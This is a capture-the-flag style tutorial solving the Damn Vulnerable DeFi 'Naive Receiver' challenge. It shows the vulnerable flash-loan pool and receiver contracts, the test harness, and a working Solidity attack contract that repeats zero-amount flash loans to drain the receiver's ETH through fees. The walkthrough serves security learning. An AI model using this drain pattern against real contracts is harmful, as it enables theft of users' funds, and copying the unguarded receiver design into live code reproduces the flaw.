Defi Hacker Series: Damn Vulnerable DeFi (2) - Naive Receiver

Damn Vulnerable DeFi is a series of challenges focused on DeFi smart contract attacks. The content includes flash loan attacks, lending pools, on-chain oracles, and more. Before starting, you need to have skills related to Solidity and JavaScript. For each challenge, your task is to ensure that the unit tests for that challenge can pass.

Challenge link: https://www.damnvulnerabledefi.xyz/challenges/2.html

Challenge description:

There is a lending pool with a balance of 1000 ETH that provides an expensive flash loan service (a fee of 1 ETH is charged for each flash loan execution). A user has deployed a smart contract with a balance of 10 ETH and can interact with the lending pool to perform flash loan operations. Your goal is to withdraw all ETH from the user's smart contract in a single transaction.

First, let's look at the source code of the smart contract.

NaiveReceiverLenderPool.sol Lending pool contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ReentrancyGuard uses a reentrancy lock to prevent reentrancy attacks
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard {
    // Apply Address library to address type
    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // Fee for each flash loan execution
		
    // Get the fee
    function fixedFee() external pure returns (uint256) {
        return FIXED_FEE;
    }
    
    // Flash loan method
    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
        // Get the balance of this smart contract
        uint256 balanceBefore = address(this).balance;
        // Ensure the amount to borrow does not exceed the balance
        require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
        
        // The borrower must be a contract address, not a regular address
        require(borrower.isContract(), "Borrower must be a deployed contract");

        // Transfer ETH and handle control to receiver
        // Call the borrower's receiveEther method
        borrower.functionCallWithValue(
            abi.encodeWithSignature(
                "receiveEther(uint256)",
                FIXED_FEE
            ),
            borrowAmount
        );
        
        // Finally, ensure the balance is equal to the previous balance plus the fee for this flash loan
        require(
            address(this).balance >= balanceBefore + FIXED_FEE,
            "Flash loan hasn't been paid back"
        );
    }

    // Allow deposits of ETH
    receive () external payable {}
}

This contract first applies the Address library to the address type, allowing variables of the address type to call methods from the Address library.

It then defines the fee for each flash loan execution as 1 ETH.

Finally, it provides the flash loan method:

Ensure the amount borrowed is less than the balance itself.

Use the isContract method to ensure the borrowed address is a contract address.

function isContract(address account) internal view returns (bool) {
	return account.code.length > 0;
}

Call the functionCallWithValue method from the Address library to execute the borrower's receiveEther method. You can first look at the implementation of the relevant methods inside the library Address.

// target: target contract (i.e., borrower) note that when calling library methods externally, the first parameter is the caller
// data: converts the method to be called into calldata (calling contract methods is done through calldata at the lower level)
// value: the amount sent
function functionCallWithValue(
    address target,
    bytes memory data,
    uint256 value
) internal returns (bytes memory) {
    return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}

function functionCallWithValue(
    address target,
    bytes memory data,
    uint256 value,
    string memory errorMessage
) internal returns (bytes memory) {
    // Ensure sufficient balance
    require(address(this).balance >= value, "Address: insufficient balance for call");
    // Ensure target is a contract address
    require(isContract(target), "Address: call to non-contract");
    
    // Call via calldata (i.e., call the receiveEther in borrower)
    (bool success, bytes memory returndata) = target.call{value: value}(data);
    
    // Verify the call result
    return verifyCallResult(success, returndata, errorMessage);
}

function verifyCallResult(
    bool success,
    bytes memory returndata,
    string memory errorMessage
) internal pure returns (bytes memory) {
    if (success) {
        return returndata;
    } else {
        // If the call failed and there is a return value
        if (returndata.length > 0) {
            // Load the return value and revert directly using inline assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            // If the call failed and there is no return value, revert directly
            revert(errorMessage);
        }
    }
}

Next, let's look at the contract executing the flash loan FlashLoanReceiver.sol with a balance of 10 ETH.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver {
    using Address for address payable;
    
    // Lending pool address
    address payable private pool;

    constructor(address payable poolAddress) {
        pool = poolAddress;
    }

    // Contract method for the lending pool callback
    function receiveEther(uint256 fee) public payable {
    	// The caller of this method must be the pool address
        require(msg.sender == pool, "Sender must be pool");
		
        // Amount to be repaid
        uint256 amountToBeRepaid = msg.value + fee;
        
        // Ensure sufficient balance
        require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
        
        // Perform operations with the borrowed funds (usually arbitrage operations)
        _executeActionDuringFlashLoan();

        // Return funds to the pool address
        pool.sendValue(amountToBeRepaid);
    }

    // Internal function where the funds received are used
    function _executeActionDuringFlashLoan() internal { }

    // Allow deposits of ETH
    receive () external payable {}
}

Finally, let's look at the unit test file naive-receiver/naive-receiver.challenge.js.

const { ethers } = require('hardhat')
const { expect } = require('chai')

describe('[Challenge] Naive receiver', function () {
  let deployer, user, attacker

  // Pool has 1000 ETH in balance
  const ETHER_IN_POOL = ethers.utils.parseEther('1000')

  // Receiver has 10 ETH in balance
  const ETHER_IN_RECEIVER = ethers.utils.parseEther('10')

  before(async function () {
    // Create three accounts
    [deployer, user, attacker] = await ethers.getSigners()

    const LenderPoolFactory = await ethers.getContractFactory('NaiveReceiverLenderPool', deployer)
    const FlashLoanReceiverFactory = await ethers.getContractFactory('FlashLoanReceiver', deployer)

    this.pool = await LenderPoolFactory.deploy()
      
    // Deployer sends 1000 ETH to the pool address
    await deployer.sendTransaction({ to: this.pool.address, value: ETHER_IN_POOL })
    // Ensure the transfer was successful
    expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal(ETHER_IN_POOL)
    // Ensure the fee can be retrieved
    expect(await this.pool.fixedFee()).to.be.equal(ethers.utils.parseEther('1'))

    this.receiver = await FlashLoanReceiverFactory.deploy(this.pool.address)
    // Deployer sends 10 ETH to the receiver
    await deployer.sendTransaction({ to: this.receiver.address, value: ETHER_IN_RECEIVER })
    // Ensure the transfer was successful
    expect(await ethers.provider.getBalance(this.receiver.address)).to.be.equal(ETHER_IN_RECEIVER)
  })

  it('Exploit', async function () {
    /** CODE YOUR EXPLOIT HERE */
  })

  after(async function () {
    /** SUCCESS CONDITIONS */

    // All ETH has been drained from the receiver
    expect(
      // receiver balance is 0
      await ethers.provider.getBalance(this.receiver.address)
    ).to.be.equal('0')
    expect(
      // pool balance is 1000 + 10
      await ethers.provider.getBalance(this.pool.address)
    ).to.be.equal(ETHER_IN_POOL.add(ETHER_IN_RECEIVER))
  })
})

This test case deploys the lending pool contract and the contract executing the flash loan, transferring 1000 ETH and 10 ETH into them, respectively. After our attack code is executed, the final expected result is that the balance of the contract executing the flash loan is 0, while the final balance of the lending pool contract is 1010.

The key to this challenge is that executing a flash loan requires a fee of 1 ETH. If we borrow 0 ETH each time and do this 10 times, after 10 times, the balance of the contract executing the flash loan will definitely be 0. However, the challenge requires a single transaction, not 10. Therefore, we can try to write a smart contract that internally loops 10 times to call the flash loan method.

NaiveReceiverAttack.sol

pragma solidity ^0.8.0;

import "../naive-receiver/FlashLoanReceiver.sol";
import "../naive-receiver/NaiveReceiverLenderPool.sol";
contract NaiveReceiverAttack {
  NaiveReceiverLenderPool public pool;
  FlashLoanReceiver public receiver;
  
  // Initialize the lending pool contract and the contract executing the flash loan.
  constructor (address payable _pool, address payable _receiver) {
    pool = NaiveReceiverLenderPool(_pool);
    receiver = FlashLoanReceiver(_receiver);
  }
  
  // Attack method: as long as the receiver has enough balance to pay the fee, perform the flash loan operation
  function attack () external {
    // Get the fee value
    uint fee = pool.fixedFee();
    while (address(receiver).balance >= fee) {
      pool.flashLoan(address(receiver), 0);
    }
  }
}

Finally, in the test file, deploy our attack contract.

it('Exploit', async function () {
  const AttackFactory = await  ethers.getContractFactory('NaiveReceiverAttack', deployer)
  this.attacker = await AttackFactory.deploy(this.pool.address, this.receiver.address)
  // Execute the attack method
  await this.attacker.attack()
})

Finally, run yarn naive-receiver to pass the test.

Complete code